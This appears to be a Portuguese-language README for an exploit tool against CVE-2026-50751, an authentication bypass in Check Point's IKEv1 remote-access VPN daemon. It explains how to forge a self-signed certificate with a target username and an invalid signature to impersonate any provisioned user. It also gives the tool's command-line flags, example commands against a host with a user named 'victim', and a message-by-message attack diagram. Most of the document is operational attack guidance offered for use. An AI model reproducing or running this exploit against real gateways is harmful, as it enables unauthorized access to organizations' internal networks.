
Bypass de autenticação por certificado na VPN Remote-Access da Check Point (IKEv1).
Bypass de autenticação por certificado na VPN Remote-Access da Check Point (IKEv1).
CVE-2026-50751 é um bypass de autenticação no daemon iked da Check Point, presente nas versões R81.10, R82 e R82.10 sem o hotfix sk185033. A falha permite autenticar-se como qualquer usuário de Remote Access provisionado sem chave privada, sem senha e sem certificado válido.
O iked vulnerável lê um flag do Vendor ID VPNExtFeatures (bit 0x4) e, se estiver ativado, ignora verify_peer_auth / verifyMessagePhase1. Como consequência:
Não se verifica a assinatura do certificado (prova de posse).
Não se verifica a cadeia de confiança.
Apenas se verifica que o subject DN resolva para um usuário provisionado.
Basta forjar um certificado autoassinado cujo CN= coincida com o usuário alvo e enviá-lo com uma assinatura inválida. Se o gateway aceitar a fase 1, ficamos autenticados como esse usuário (a SA ISAKMP é guardada sob o seu DN).
Funciona sobre IKE (UDP 500/4500) e sobre Visitor Mode (TCPT, TCP 443).
Sintaxe
cve-2026-50751 -host <IP|hostname> -user <username> [opções]
| Flag | Descrição | Padrão |
|---|
-host | IP ou hostname do gateway (obrigatório) | — |
-user | Username RA a personificar (obrigatório) | — |
-port | Porta: 500, 4500 (UDP) ou 443 (TCPT) | 500 |
-org | Organização (O=) da ICA. Se omitida, é derivada do cert TLS | — |
-ou | Unidade organizacional (OU=) do usuário | users |
-timeout | Timeout por operação | 6s |
-retries | Tentativas de msg1 | 1 |
-v | Saída verbosa | false |
sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -user victim -org "ACME Corp" -ou vpn -v
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -v
Atacante Gateway (iked vulnerável)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Lê flag 0x4
│ │ Marca verify_peer_auth = skip
│◀── msg2: SA aceito ──────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrado): ID=DN forjado + CERT autoassinado │
│ + assinatura aleatória ──────────────▶│
│ │ Ignora verificação
│ │ de assinatura
│ │ Resolve DN → usuário
│◀── msg6 (cifrado): SA estabelecida ──────────────────────│
│ │
│ Decifra msg6 com SKEYID_e → prova de autenticação │